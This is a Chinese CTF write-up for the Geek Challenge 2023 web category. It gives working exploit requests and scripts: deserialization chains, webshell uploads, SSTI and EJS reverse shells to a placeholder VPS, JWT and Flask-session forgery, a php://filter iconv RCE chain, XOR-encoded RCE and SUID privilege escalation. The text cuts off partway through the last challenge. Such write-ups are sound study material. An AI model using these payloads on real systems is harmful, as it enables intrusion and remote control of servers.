Geek Challenge 2023

第十四届极客大挑战 GEEK CHALLENGE 2023‼️
开放注册:10月25日晚10点
比赛时间:10月26日晚8点-11月26日晚8点
平台链接:https://game.sycsec.com/
赛题范围包括re,web,pwn,crypto,misc等等,本届赛题还加入全新yak语言元素,方向多样,趣味性高。
本届更增添校外排行榜,校外的同学们组队参与也能获得名次奖励,欢迎大家前来挑战 💪。

Rank: 3


WEB

EzHttp

http签到,点击就送flag http://1.117.175.65:23333/

robots.txt 获取账号密码,再按步骤用几个请求头字段绕过:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 1.117.175.65:23333
User-Agent: Syclover
Referer: sycsec.com
X-Forwarded-For: 127.0.0.1
via: Syc.vip
O2TAKUXX: GiveMeFlag
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

username=admin&password=@dm1N123456r00t#

unsign

来签个到吧先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

class web
{
public $eva1;
public $interesting;

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}

?>

反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from phpserialize import serialize

class web:
public_eva1='system'
public_interesting='cat /f*'

class lover:
public_yxx=web()
public_QW='x'

class syc:
public_cuit=lover()

print(serialize(syc()))

# O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:2:"QW";s:1:"x";s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"cat /f*";}}}

POST:

url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:2:"QW";s:1:"x";s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"cat /f*";}}}

n00b_Upload

文件上传绕过:MIME、图片头、绕关键字

构造请求头:

1
2
3
Content-Type: image/png

GIF89a<?=system($_GET[x]);

上传成功后,访问 uploadtest/378845_653a63ea1370a.php?x=cat /flag 拿flag。

easy_php

学了php了,那就来看看这些绕过吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

第1层:换行符绕过;

第2层:科学计数法绕 intval()

第3层:sha1碰撞;

第4层:PHP解析特性。

1
2
3
4
5
6
POST /?syc=Welcome%20to%20GEEK%202023!%0a&lover=2e5 HTTP/1.1
Host: h2y55ia9rcbaswjlhegv0qonf.node.game.sycsec.com
Content-Length: 1320
Content-Type: application/x-www-form-urlencoded

qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&SYC[GEEK.2023=Happy to see you!

ctf_curl

命令执行?真的吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover

if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>

利用VPS和curl写文件的参数:

?addr=-O%201.php%20x.x.x.x/1.txt

其中 1.txt 内容为:<?php system("cat /tmp/Syclover");?>

访问 1.php 得flag。

klf_ssti

De1ty的广东朋友跟女神表白被骂klf,现在气急败坏,你知道klf是什么意思嘛?他现在依旧觉得他不是klf你们才是,你能拿到flag证明他是klf嘛…

路由:/hack?klf=xxx

无过滤,但也无输出的SSTI盲打,利用python反弹shell到VPS:

/hack?klf={%print(config.__class__.__init__.__globals__['os'].popen('python3 -c \'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("x.x.x.x",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")\' ').read())%}

在根目录拿到flag。

ez_remove

我想要回炉重造一波,怎么说,难道你不想吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}

if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>

反序列化,用 S 绕关键字过滤,去最后大括号绕 Exception

发现读不出根目录flag值,存在open_basedir,利用绕过命令读:

/?web=O:3:"syc":1:{S:5:"\6cover";s:142:"mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readgzfile('/f1ger');";

ez_path

快来join我的博客吧!

源码注释:<!--secret在根目录f14444文件里面,别忘记了-->

首页得到泄露的文件 app.cpython-39.pyc,反编译得python源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content

def generate_article_id():
return str(uuid.uuid4())

@app.route('/')
def index():
return render_template('index.html', articles=articles)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')

@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

return render_template('error.html')

def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)

def sanitize_filename(filename):
sensitive_chars = [':', '*', '?', '"', '<', '>', '|', '.']
for char in sensitive_chars:
filename = filename.replace(char, '_')

return filename

if __name__ == '__main__':
app.run(debug=True)

利用绝对路径拼接漏洞:

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径。

os.path.join('articles/','/f14444')='/f14444'

故在 /upload 路由,POST title=/f14444&content=qwe,即可拿到flag。

you konw flask?

在驾校你不高低得当个教练?

扫描出 robots.txt,泄露信息:3ysd8.html,源码里有注释:

<!-- key是 app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao' (www,我可爱的菀宝,我存的够安全的吧) -->

制作爆破secret_key的字典:

1
2
3
4
5
6
import base64
g = open('dict.txt','wb')
for i in range(100):
key = b'wanbao'+base64.b64encode(str(i).encode())+b'wanbao'
g.write(key)
g.write(b'\n')

爆破flask session的secret_key:

flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ4eHgiLCJ1c2VyX2lkIjozfQ.ZUOYig.x1sFiE5HRT9q5bGAwSF6wMnZfOM' --wordlist dict.txt

得到secret_key后,伪造admin的flask session:

flask-unsign --sign --cookie "{'is_admin': True, 'name': 'xxx', 'user_id': 3}" --secret 'wanbaoNTc=wanbao'

进入学员管理页面,找到flag:

既然你是教练,那这个flag学员就交给你吧 SYC{naCcuTYu2mu0c33Fen}

Pupyy_rce

这是什么?执行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];

if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}

无参数RCE:?var=print_r(scandir(current(localeconv())));

得到:

Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )

访问 fl@g.php 得flag。

VanZY给白月光写了一张明信片,快去帮他把id签上吧

访问 /source 没权限,提示 <!--Maybe you can view /hint-->

访问 /hint,提示 I heard that the challenge maker likes to use his own id as secret_key

使用jwt.io解析jwt,设置secret_key=VanZY,得到 /source 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var Super = {};

var safecode = function (code){
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};

app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});

app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});

app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
if(decoded.user==='admin'){
res.sendFile(path.join(__dirname + '/index.js'));
}else{
res.send('you are not admin <!--Maybe you can view /hint-->');
}
}
catch{
res.send("Fuck you Hacker!!!")
}
});
});

app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null){
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
}else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
}
else{
res.render('index', {name: req.body.name});
}
}
}
});

app.get('/',(req, res) => {
res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');

});

app.listen(3000, () => console.log('Server started on port 3000'));

/code 路由中使用了 putil_merge() ,结合putil-merge原型链污染漏洞(CVE-2021-23470),将 Super 污染,使得 /create 路由内的 Super['userrole'] === 'Superadmin' 成立:

1
2
3
4
POST /code
Content-Type: application/json

{"constructor":{"prototype":{"userrole":"Superadmin"}}}

进入 /create 路由内,打ejs RCE(CVE-2022-29078),参考:ejs RCE CVE-2022-29078 bypass

1
2
3
4
5
6
7
8
9
10
11
POST /create HTTP/1.1
Content-Type: application/json

{"name":"xxx",
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"bash -c \\\"bash -i > /dev/tcp/x.x.x.x/7777 0>&1 2>&1\\\"\");",
"client":"true"
}
}
}

反弹shell,在VPS getshell,cat /Yupr0m1sing_f1ll4agggXD 得到flag:SYC{Chun_a1_M4n_NeVer_G1ve_Up}

famale_imp_l0ve

”雌小鬼看了下o2takuXX师傅的马子说:”呐~就..就怎么长吗,真是杂鱼呢~❤”,你能来帮帮他吗?

根据源码注释,存在 include.php 文件:

1
2
3
4
5
6
7
8
9
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

结合首页文件上传和压缩的提示,考察zip文件包含。

首先新建一个zip文件,里面压缩着一个代码为 <?php system($_GET[x]); 的PHP脚本;然后构造 zip://php.zip#php.jpg

/include.php?file=zip://php.zip%23php.jpg&x=cat /flag

即可得到flag。

change_it

快来找flag!(文件上传的目录为 “/upload”)

查看源代码得到用户名密码 user/user,其中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- 一直连不上?连不上就对啦! -->
<!--
php版本为8.0
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = time();
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}

-->

jwt伪造,爆破c-jwt-cracker:

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4

得到 Secret is "yibao"

构造 {"iss": "Qingwan","name": "admin","admin": "true"} 对应的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek

根据前面 change.html 源码泄露的 php_mt_seed() 函数知文件名通过随机数更改,抓包,改文件名为1.php:

1
2
3
4
5
6
POST /change.php HTTP/1.1
------WebKitFormBoundaryLjuFMGS9hc3RMksx
Content-Disposition: form-data; name="avatar"; filename="1.php"
Content-Type: image/jpeg

<?php system("cat /flag");

上传,同时爆破文件名:https://3v4l.org/UvLQQ#v8.0.30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function php_mt_seed($seed)
{
mt_srand($seed);
}

$x = time();

for($k=-20;$k<20;$k++) {
$seed = $x+$k;
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
echo $newFileName.'|';
}

得到的文件名,爆破其存在性:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

rand = 'nMa3orDC2e|sso43vzOmv|3cLxYQjVCU|bfcsVjUjUc|DGUxICjb62|4agL09NVrj|vCY0Ii09gS|KEC5rjXegm|14Bl45OsHh|zgbN7myZbJ|Q67hx4uRVf|E4SQRpukkv|31A7kBmcpB|3J5Pj4Yfeb|zXfWAa86o5|5KMdsa0Uo0|btCM1eO8wo|maZNliuB1R|Y836Rhmpca|YreAYs4dbp|uK4nhxkdkw|4utkLM9gE7|TYekFoXTXJ|JSP6Hx0vyI|kzjZoBiv9R|EtQZUROvnh|HcTSaxtIXF|GmQhLWWoQ7|3PefcQupE7|Ctbc67MqB4|U55i5C09vA|ZqeKQ6yJSV|ufP5AUtnC6|yiYrEYIAgg|mHwm6SFE0K|q8PwOK5E2U|kBwsskBu0h|AlYCggPR8d|25Lmp0TH9E|2VDW4pida7|'.split('|')[:-1]

url='https://s5bwqhfkrgtcnancf0t3vxkgq.node.game.sycsec.com/upload/'

for i in range(len(rand)):
u = url + rand[i] + '.php'
r=requests.get(u)
if r.status_code == 200:
print(u)
break

访问即可得flag。

ezrfi

亲爱的Syclover,你能找到flag吗????

只能读py文件,试出 ?file=/var/hint

secret="w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg"

base64解密得:

Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo

尊嘟假嘟解码:

Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

根据提示RC4解码,key=Syclover,得:

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

参考: LFI 新姿势学习,使用文件包含RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests

url = "http://bhhtut26mxsa9f29ft8jg5y5p.node.game.sycsec.com/index.php"
file_to_use = "/var/hint"
command = "cat /ffffffllllag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
"0": command,
"file": final_payload
})

print(r.text)

# SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

EzRce

can you rce me??? flag中空格请用下划线替代

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>

盲试waf,为无字母数字RCE,异或可用,将每个字符异或 %A0 得到不可见字符。

phpinfo();

?data=(%A0%A0%A0%A0%A0%A0%A0^%D0%C8%D0%C9%CE%C6%CF)();

看到disable_function禁用了:

exec,system,fwrite,passthru,popen,shell_exec,error_log,fputs,file_get_contents,assert,call_user_func,call_user_func_array,array_map,array_filter,array_reduce,get_defined_vars,getallheaders

读waf - readgzfile('waf.php');

?data=(%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0^%D2%C5%C1%C4%C7%DA%C6%C9%CC%C5)(%A0%A0%A0%A0%A0%A0%A0^%D7%C1%C6%8E%D0%C8%D0);

waf.php

1
2
3
4
5
6
7
8
9
<?php

function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}

写马 - file_put_contents('2.php','<?php eval($_POST[1]);');

?data=(%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0^%C6%C9%CC%C5%FF%D0%D5%D4%FF%C3%CF%CE%D4%C5%CE%D4%D3)((%A0%A0%A0%A0%A0^%92%8E%D0%C8%D0),(%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0^%9C%9F%D0%C8%D0%80%C5%D6%C1%CC%88%84%FF%F0%EF%F3%F4%FB%91%FD%89%9B));

蚁剑连接,find / -perm -u=s -type f 2>/dev/null 发现 /usr/bin/find 有 SUID权限,

find提权:

1
2
3
cd /tmp
touch abcd
find abcd -exec cat /flag \;

得flag:SYC{ThE_RCe is S0 Eas1ly_DD!}

ezpython

can you pollute me?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
